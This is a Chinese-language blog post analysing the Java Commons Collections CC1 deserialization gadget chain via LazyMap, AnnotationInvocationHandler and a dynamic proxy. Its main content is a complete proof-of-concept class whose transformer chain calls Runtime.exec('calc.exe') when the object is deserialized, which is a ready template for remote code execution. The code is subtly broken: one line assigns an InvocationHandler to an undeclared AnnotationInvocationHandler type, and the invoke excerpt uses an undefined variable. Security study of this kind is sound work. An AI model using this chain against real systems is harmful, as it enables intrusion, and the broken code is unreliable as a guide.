java反序列化CC1链分析(LazyMap)

LazyMap类

LazyMap.decorate

//factory成员数据类型为Transformer并且我们可以控制,且该方法为public访问权限
    protected final Transformer factory;

//该方法操作了factory成员属性
	public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

LazyMap.get
该方法中的factory属性调用了transform方法

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

AnnotationInvocationHandler类

AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,然后在invoke方法中都调用了get方法

public Object invoke(Object var1, Method var2, Object[] var3) {
    Object var6 = this.memberValues.get(var4);
}

readObject方法

在这里插入图片描述

构造

思路

1)构造一个Map和一个能够执行代码的ChainedTransformer,
2)生成一个LazyMap实例
3)用反射方法实例化AnnotationInvocationHandler
4)设置动态代理

攻击链

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
 
public class Poc {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        //lazyMap对象成为该类参数
        InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
        AnnotationInvocationHandler O = (InvocationHandler) construct.newInstance(Target.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(O);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

总结

经过上面的分析,我们需要先调用LazyMap.decorate,参数为我们构造的恶意链,然后想办法用返回的对象去调用LazyMap类的get方法。之后我们发现只要可以调用AnnotationInvocationHandler实例对象的invoke方法就可以触发攻击链。实际上,AnnotationInvocationHandler类继承了InvocationHandler接口,那么我们只需要构造一个动态代理的对象,然后触发readObject方法,从而调用invoke方法

参考
https://www.cnblogs.com/tr1ple/p/12378269.html
https://www.freebuf.com/vuls/276632.html
https://blog.csdn.net/qq_35733751/article/details/118462281

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值